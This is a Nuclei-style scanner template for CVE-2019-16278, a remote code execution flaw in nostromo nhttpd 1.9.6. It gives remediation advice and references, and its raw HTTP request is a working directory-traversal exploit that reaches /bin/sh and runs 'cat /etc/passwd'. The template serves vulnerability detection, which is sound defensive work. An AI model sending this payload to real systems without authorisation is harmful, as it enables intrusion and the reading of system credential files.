id: CVE-2019-16278 info: name: nostromo 1.9.6 - Remote Code Execution author: pikpikcu severity: critical description: nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify. remediation: | Upgrade to a patched version of nostromo web server (1.9.7 or later) or apply the vendor-supplied patch. reference: - https://packetstormsecurity.com/files/155802/nostromo-1.9.6-Remote-Code-Execution.html - https://www.exploit-db.com/raw/47837 - https://nvd.nist.gov/vuln/detail/CVE-2019-16278 - http://www.nazgul.ch/dev/nostromo_cl.txt - http://packetstormsecurity.com/files/155045/Nostromo-1.9.6-Directory-Traversal-Remote-Command-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-16278 cwe-id: CWE-22 epss-score: 0.97366 epss-percentile: 0.9987 cpe: cpe:2.3:a:nazgul:nostromo_nhttpd:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: nazgul product: nostromo_nhttpd tags: edb,cve,cve2019,rce,packetstorm http: - raw: - | POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1 Host: {{Hostname}} echo echo cat /etc/passwd 2>&1 matchers: - type: regex regex: - "root:.*:0:0:" # digest: 4b0a004830460221009399960b2c39e21b4f7c0b86d88953a3731e6a41eaadb97c5b9ca5b4f48dfbf0022100a78774fbeddfa6bbc8b373a583dcdf79c29db9939f4a3fe76767f9c3fc30ef81:922c64590222798bb761d5b6d8e72950